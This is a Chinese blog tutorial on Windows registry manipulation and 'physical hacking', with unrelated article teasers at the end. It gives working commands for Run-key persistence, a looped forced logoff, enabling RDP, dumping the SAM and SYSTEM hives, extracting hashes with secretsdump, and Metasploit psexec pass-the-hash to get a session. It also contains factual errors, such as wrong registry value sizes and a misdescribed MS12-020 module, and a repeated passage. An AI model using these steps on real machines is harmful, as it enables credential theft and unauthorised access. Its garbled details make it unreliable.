reg注册表研究与物理Hack

reg注册表研究与物理Hack

声明:内容的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

目录

  • reg注册表研究与物理Hack
    • Windows注册表
    • 修改注册表实现应用程序开机自启动
    • 修改注册表实现用户注销(将这个bat丢到自启动里进行无限循环注销操作)
  • 物理HACK
    • 修改注册表实现服务开启-(RDP远程桌面为例)
    • 使用reg命令获取SYSTEM和SAM的敏感信息(拿到用户名和哈希密码)
    • 在kali中将system、sam文件进行哈希提取
    • MSF使用哈希密码对开启RDP的机器进行连接

Windows注册表

  1. 简介: 注册表是windows系统中具有层次结构的核心数据库,存储的是数据对Windows上运行的应用程序和服务至关重要。注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件。

  2. 开启 注册表编辑器

    WIN+R 输入–> regedit

  3. 也可以在cmd命令行中使用reg进行注册表操作

REG Operation [Parameter List] Operation [ QUERY | ADD | DELETE | COPY | SAVE | LOAD | UNLOAD | RESTORE | COMPARE | EXPORT | IMPORT | FLAGS ]

返回代码: (除了 REG COMPARE)

0 - 成功 1 - 失败

要得到有关某个操作的帮助,请键入: REG Operation /?

例如: REG QUERY /? REG ADD /? REG DELETE /? REG COPY /? REG SAVE /? REG RESTORE /? REG LOAD /? REG UNLOAD /? REG COMPARE /? REG EXPORT /? REG IMPORT /? REG FLAGS /?翻译

  1. 注册表位置

windows 注册表的位置:C:\Windows\System32\config

  1. 注册表结构
  2. 注册表中,所有的数据都是通过一种树状结构以键和子键的方式组织起来的,就像磁盘文件系统的目录结构一样。每个键包含一组特定的信息,每个键的键名都是和它所包含的信息相关联的。注册表的根键共有5个,且全为大写
    在这里插入图片描述

键值 与 类型:

键值由三部分组成: 名称、类型、数据

键值类型由常用的6种组成

字符串值(REG_SZ)

二进制值(REG_BINARY)

32位值(4个字节)(REG_DWORD)

64位值(5个字节)(REG_QWORD)

多字符串值(REG_MULTI_SZ)

可扩充字符串值(REG_EXPAND_SZ)

修改注册表实现应用程序开机自启动

windows 提供了专门的开机自启动注册表。每次开启时,它都会在这个注册表键下遍历键值,获取到键值中的程序路径,并创建进程启动程序。因此只需要将需要设置自启动的程序的路径添加到这个注册表中,便可以实现程序开启自启动功能。

常见的开机自启动注册表路径:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
注意:要修改HKEY_LOCAL_MACHINE 主键的注册表需要管理员权限

  • reg命令实现

一个bat脚本的路径是:C:\Scripts\MyScript.bat

@echo off 
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyScript" /t REG_SZ /d "C:\Scripts\MyScript.bat"
  • @echo off:这行命令用于关闭命令提示符窗口中的命令回显。这样,在运行批处理文件时,命令本身不会在窗口中显示,只显示命令的结果。
  • reg add:这是用于添加注册表项的主要命令。
  • "HKCU\Software\Microsoft\Windows\CurrentVersion\Run":这是要添加的注册表键的路径,HKCU代表HKEY_CURRENT_USER,表示当前用户的注册表配置单元。
  • /v "MyScript"/v参数用于指定要添加或修改的注册表值的名称。在这里,MyScript是自定义的值名称,可以根据需要修改。
  • /t REG_SZ/t参数用于指定注册表值的数据类型。REG_SZ表示这是一个以空字符结尾的字符串,通常用于存储文本信息,如文件路径等。
  • /d "C:\Scripts\MyScript.bat"/d参数用于指定注册表值的数据。在这里,就是批处理文件的完整路径。

修改注册表实现用户注销(将这个bat丢到自启动里进行无限循环注销操作)

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer” /v “ForceLogoff” /t REG_DWORD /d 1 /f

  • reg add:这是用于添加注册表项的命令。
  • "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer":这是要添加或修改的注册表键的路径。
  • /v "ForceLogoff"/v参数用于指定要添加或修改的注册表值的名称。这里的ForceLogoff是我们设置的用于强制注销的键值名称。
  • /t REG_DWORD/t参数用于指定注册表值的数据类型。REG_DWORD是双字节数据类型,通常用于存储整数等数据,这里用于存储注销相关的设置。
  • /d 1/d参数用于指定注册表值的数据。将ForceLogoff的值设置为1,表示启用强制注销功能。
  • /f:这个参数表示强制写入,即使目标注册表项已经存在也会进行修改。

触发注销操作

  • 在修改上述注册表项后,注销操作并不会立即自动执行。可以通过以下几种方式来触发注销:
    • 重新启动Explorer.exe进程:在任务管理器中,找到Explorer.exe进程,右键单击它并选择 “结束任务”。然后在任务管理器的 “文件” 菜单中选择 “新建任务(运行…)”,在输入框中输入 “Explorer.exe” 并回车,这样会重新加载Explorer.exe,系统可能会根据注册表设置进行注销操作。

当然必须有在命令行执行

taskkill /f /im Explorer.exe进程终止

start explorer.exe – 进程启动

这两个命令就完成了explorer.exe 进程的重启操作


物理HACK

修改注册表实现服务开启-(RDP远程桌面为例)

  1. 可以先检查一下rdp的服务状态,在cmd命令行中

sc query termservice

  1. 使用reg开启RDP服务

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

  • reg add:这是用于添加或修改注册表项的命令。

  • "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server":这是注册表中的路径,HKLM代表HKEY_LOCAL_MACHINE,这是系统级别的注册表配置单元,其中包含了系统范围的配置信息。

  • /v fDenyTSConnections/v表示指定要修改的注册表值的名称。fDenyTSConnections这个值用于控制是否允许远程桌面连接。当它的值为0时,表示允许连接;当它的值为1时,表示禁止连接。

  • /t REG_DWORD/t表示指定数据类型,REG_DWORD是双字节数据类型,用于存储整数等数据。

  • /d 0/d表示指定要设置的数据。这里将fDenyTSConnections的值设置为0,即允许远程桌面连接。

  • /f:这个参数表示强制写入,即使目标注册表项已经存在也会进行修改。

使用reg命令获取SYSTEM和SAM的敏感信息(拿到用户名和哈希密码)

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save

save是备份命令,将两个注册表文件数据进行备份获取

在kali中将system、sam文件进行哈希提取

  • 使用impacket 库来提取哈希值
impacket-secretsdump -sam sam.save -system system.save LOCAL

这条命令主要用于从 Windows 系统的关键注册表文件(SAMSYSTEM)备份中提取敏感信息,如用户账户和密码哈希。

  • impacket - secretsdump:
    • impacket是一个功能强大的 Python 库,用于网络协议的开发和利用。它提供了一系列工具来处理各种网络协议相关的任务,包括与 Windows 系统的交互。
    • secretsdumpimpacket库中的一个工具,专门用于从 Windows 系统的SAM(Security Accounts Manager)和SYSTEM文件中提取秘密信息,主要是用户账户相关的信息,如用户名、密码哈希等。
  • -sam sam.save:
    • -samsecretsdump工具的一个参数,用于指定SAM文件的位置。在这里,sam.saveSAM文件的文件名,意味着命令会从名为sam.save的文件中读取SAM相关的信息。SAM文件存储了 Windows 系统中用户账户和密码(以加密形式)以及账户相关的安全设置等重要信息。
  • -system system.save:
    • 类似地,-system是参数,用于指定SYSTEM文件的位置。system.save是文件名,这个文件包含了系统配置信息,这些信息对于解密SAM文件中的密码哈希等操作是必需的。SYSTEM文件包含了如系统启动配置、设备驱动程序设置等众多系统级别的信息,其中一些设置与用户账户的安全策略和密码存储方式相关。
  • LOCAL:
    • LOCAL参数表示操作的目标是本地文件,即告诉secretsdump工具,SAMSYSTEM文件是本地存储的,不需要通过网络连接到远程系统来获取这些文件。这是在已经获取到本地文件副本后进行离线分析的一种方式。

MSF使用哈希密码对开启RDP的机器进行连接

  1. 前提条件准备
    • 目标机器要求:目标机器需要开启 3389 端口(RDP 服务端口)。并且,你需要获取目标机器的合法登录凭证,如用户名和密码或者 NTLM 哈希。
    • Metasploit 环境搭建:你需要在自己的攻击机器上正确安装和配置 Metasploit Framework。确保 MSF 能够正常运行,并且你的网络设置允许向外发起连接请求。
  2. 使用 psexec 模块进行 RDP 连接相关操作(通过用户名 / 密码或者哈希)
    • 加载模块:在 MSF 终端中,输入命令use exploit/windows/smb/psexec来加载 psexec 模块。这个模块利用 Windows 的 SMB(服务器消息块)协议来在目标机器上执行命令,进而有可能建立 RDP 连接。
    • 设置参数:
      • 目标主机参数(RHOST):使用命令set RHOST <目标机器IP地址>来指定目标机器的 IP 地址。例如,如果目标机器的 IP 是 192.168.1.100,那么就输入set RHOST 192.168.1.100
      • 登录凭证参数:
        • 用户名和密码方式:如果知道目标机器的用户名和密码,使用命令set SMBUser <用户名>set SMBPass <密码>来设置登录凭证。例如,set SMBUser administratorset SMBPass password123
        • 哈希方式:如果有目标机器的 NTLM 哈希,使用命令set SMBHash <哈希值>来设置。例如,set SMBHash aad3b435b51404eeaad3b435b51404ee:1234567890abcdef(这只是一个示例哈希格式)。
      • 本地监听参数(LHOST):设置你的本地 IP 地址(攻击机器 IP),用于接收来自目标机器的连接信息。使用命令set LHOST <本地IP地址>。例如,set LHOST 192.168.1.200
    • 执行攻击:在设置好所有参数后,输入命令exploit来尝试执行攻击。如果成功,会在目标机器上建立一个会话,通过这个会话可以进一步尝试进行 RDP 连接相关的操作,如使用命令shell来打开一个类似命令提示符的窗口,在其中可以输入命令来操作目标机器,包括启动 RDP 客户端等操作。
  3. 利用 RDP 漏洞模块进行连接(如果目标存在相关漏洞)
    • 扫描 RDP 漏洞:在尝试利用漏洞连接之前,最好先使用 MSF 的辅助模块(如auxiliary/scanner/rdp/rdp_scanner)来扫描目标机器是否存在 RDP 相关漏洞。加载这个模块后,设置目标机器的 IP 范围(set RHOSTS),然后执行exploit来进行扫描。
    • 利用漏洞模块:
      • 加载模块:如果扫描发现目标机器存在相关 RDP 漏洞,比如 MS12 - 020 漏洞,可以使用命令use exploit/windows/rdp/ms12 - 020_maxchannelids来加载这个漏洞利用模块。
      • 设置参数:如同 psexec 模块一样,设置目标主机(RHOST)、本地监听(LHOST)等参数。
        如果扫描发现目标机器存在相关 RDP 漏洞,比如 MS12 - 020 漏洞,可以使用命令use exploit/windows/rdp/ms12 - 020_maxchannelids来加载这个漏洞利用模块。
      • 设置参数:如同 psexec 模块一样,设置目标主机(RHOST)、本地监听(LHOST)等参数。
      • 执行攻击:输入exploit命令来尝试利用漏洞在目标机器上建立会话,进而实现对目标机器的控制,包括进行 RDP 连接相关操作。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/5417.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【黑盒测试】等价类划分法及实例

本文主要介绍黑盒测试之等价类划分法&#xff0c;如什么是等价类划分法&#xff0c;以及如何划分&#xff0c;设计等价类表。以及关于三角形案例的等价类划分法。 文章目录 一、什么是等价类划分法 二、划分等价类和列出等价类表 三、确定等价类的原则 四、建立等价类表 …

适用于个人或团队的文档管理和知识库系统,NAS快速部署『BookStack』

适用于个人或团队的文档管理和知识库系统&#xff0c;NAS快速部署『BookStack』 哈喽小伙伴们好&#xff0c;我是Stark-C~ 知识库对于很多需要和文字打交道的个人或者团队都不陌生对吧&#xff1f;对于我们个人来说&#xff0c;它可以将常用的学习资料、工作笔记、项目计划和…

delphi fmx android 自动更新(一)

12.2 android10测试通过 一,安卓权限设置 1,REQUEST_INSTALL_PACKAGES 权限 2,INTERNET 权限 3,READ_EXTERNAL_STORAGE 权限 4,WRITE_EXTERNAL_STORAGE 权限 5,READ_PHONE_STATE 二,安卓下载过程 一般是从http下载安装包 apk 所以,如果是http 则,manife…

《JVM第7课》堆区

文章目录 1.概念2.指定堆大小3.新生代和老年代3.1 新生代3.2 老年代3.3 动画演示 4.分代收集理念 1.概念 堆是JVM中最重要的一块区域&#xff0c;JVM规范中规定所有的对象和数组都应该存放在堆中&#xff0c;在执行字节码指令时&#xff0c;会把创建的对象存入堆中&#xff0c…

【笔记】自动驾驶预测与决策规划_Part6_不确定性感知的决策过程

文章目录 0. 前言1. 部分观测的马尔可夫决策过程1.1 POMDP的思想以及与MDP的联系1.1.1 MDP的过程回顾1.1.2 POMDP定义1.1.3 与MDP的联系及区别POMDP 视角MDP 视角决策次数对最优解的影响 1.2 POMDP的3种常规解法1.2.1 连续状态的“Belief MDP”方法1. 信念状态的定义2. Belief …

Spring Boot框架下的知识管理与多维分类

4 系统设计 系统分析接下来的操作步骤就是系统的设计&#xff0c;这部分内容也是不能马虎对待的。因为生活都是在不断产生变化&#xff0c;人们需求也是在不断改变&#xff0c;开发技术也是在不断升级&#xff0c;所以程序也需要考虑在今后可以方便进行功能扩展&#xff0c;完成…

LeetCode17. 电话号码的字母组合(2024秋季每日一题 59)

给定一个仅包含数字 2-9 的字符串&#xff0c;返回所有它能表示的字母组合。答案可以按 任意顺序 返回。 给出数字到字母的映射如下&#xff08;与电话按键相同&#xff09;。注意 1 不对应任何字母。 示例 1&#xff1a; 输入&#xff1a;digits “23” 输出&#xff1a;[“…

Nature Methods | 基于流形约束的RNA速度推断精准解析细胞周期动态调节规律

生信碱移 VeloCycle算法 VeloCycle&#xff1a;基于流形约束的RNA速度推断在细胞周期动态中的精准解析 今天给各位老铁们分享一篇于2024年10月31号发表在 Nature Methods [IF: 36.1] 的文章&#xff1a;"Statistical inference with a manifold-constrained RNA velocity…

Spring挖掘:(AOP篇)

学习AOP时,我们首先来了解一下何为AOP 一. 概念 AOP&#xff08;面向切面编程&#xff0c;Aspect Oriented Programming&#xff09;是一种编程技术&#xff0c;旨在通过预编译方式或运行期动态代理实现程序功能的统一管理和增强。AOP的主要目标是在不改变原有业务逻辑代码的…

【机器学习】k最近邻分类

&#x1f4dd;本文介绍 本文为作者阅读鸢尾花书籍以及一些其他资料的k最近邻分类后&#xff0c;所作笔记 &#x1f44b;作者简介&#xff1a;一个正在积极探索的本科生 &#x1f4f1;联系方式&#xff1a;943641266(QQ) &#x1f6aa;Github地址&#xff1a;https://github.com…

《深度学习》bert自然语言处理框架

目录 一&#xff0c;关于bert框架 1、什么是bert 2、模型结构 自注意力机制&#xff1a; 3、预训练任务 4、双向性 5、微调&#xff08;Fine-tuning&#xff09; 6、表现与影响 二、Transformer 1、传统RNN网络计算时存在的问题 1&#xff09;串联 2&#xff09;并行…

开源 - Ideal库 - 常用时间转换扩展方法(一)

从事软件开发这么多年&#xff0c;平时也积累了一些方便自己快速开发的帮助类&#xff0c;一直在想着以什么方式分享出来&#xff0c;因此有了这个系列文章&#xff0c;后面我将以《开源-Ideal库》系列文章分享一些我认为比较成熟、比较方便、比较好的代码&#xff0c;如果感觉…

网络安全漏洞管理十大度量指标

前言 当前&#xff0c;网络安全漏洞所带来的风险及产生的后果&#xff0c;影响到网络空间乃至现实世界的方方面面&#xff0c;通信、金融、能源、电力、铁路、医院、水务、航空、制造业等行业各类勒索、数据泄露、供应链、钓鱼等网络安全攻击事件层出不穷。因此&#xff0c;加…

R语言*号标识显著性差异判断组间差异是否具有统计意义

前言 该R代码用于对Iris数据集进行多组比较分析&#xff0c;探讨不同鸢尾花品种在不同测量变量&#xff08;花萼和花瓣长度与宽度&#xff09;上的显著性差异。通过将数据转换为长格式&#xff0c;并利用ANOVA和Tukey检验&#xff0c;代码生成了不同品种间的显著性标记&#x…

Web前端PC端开发者工具详细介绍(约10000字保姆级讲解)

1.Elements部分 首先按下F12键即可进入开发者工具页面&#xff0c;以CSDN博客页面为例&#xff0c;如下可以看到右侧是该页面所对应的前端代码。 在Elements部分的Styles模块下可以看页面的各个类别的样式等。 &#xff08;1&#xff09;点击.cls可以开启动态修改元素的class&a…

SQL Server 日志记录

SQL Server是一个关系数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;旨在有效地存储、组织、检索和操作大量结构化数据。SQL Server日志是监控数据库活动、排查问题和确保数据一致性的基础&#xff0c;这些日志记录了SQL Server实例中发生的事件的时间顺序。它们充当…

Qt QCustomplot 在采集信号领域的应用

文章目录 一、常用的几种开源库:1、QCustomPlot:2、QChart:3、Qwt:QCustomplot 在采集信号领域的应用1、应用实例时域分析频谱分析2.数据筛选和处理其他参考自然界中的物理过程、传感器和传感器网络、电路和电子设备、通信系统等都是模拟信号的来源。通过可视化模拟信号,可以…

【数据结构】堆和二叉树(2)

文章目录 前言一、建堆和堆排序1.堆排序 二、二叉树链式结构的实现1.二叉树的遍历 三、链式二叉树的功能函数1.二叉树结点个数2.二叉树叶子结点个数3.二叉树的高度4.二叉树第k层结点个数5. 二叉树查找值为x的结点6.二叉树销毁 总结 前言 接着上一篇博客&#xff0c;我们继续分…

PDF多功能工具箱 PDF Shaper v14.6

如今对PDF处理的软件很多都是只是单一的功能。PDF Shaper给你完全不同的体验&#xff0c;因为PDF Shaper是一款免费的PDF工具集合的软件。有了PDF Shaper&#xff0c;你以后再也不用下载其他处理PDF的软件了。PDF Shaper的功能有&#xff1a;合并&#xff0c;分割&#xff0c;加…

猫用空气净化器哪个牌子好?求除毛好、噪音小的宠物空气净化器!

换毛季家里孩子不省心&#xff0c;疯狂掉落的猫毛和空气中乱飞的浮毛可把我折磨死了。每天下班都要抽出时间来清理&#xff0c;不然这个家就不能要了。猫毛靠我自己可以打扫&#xff0c;浮毛还得借助宠物空气净化器这种专业工具。所以我最近着手做功课&#xff0c;打算入手一台…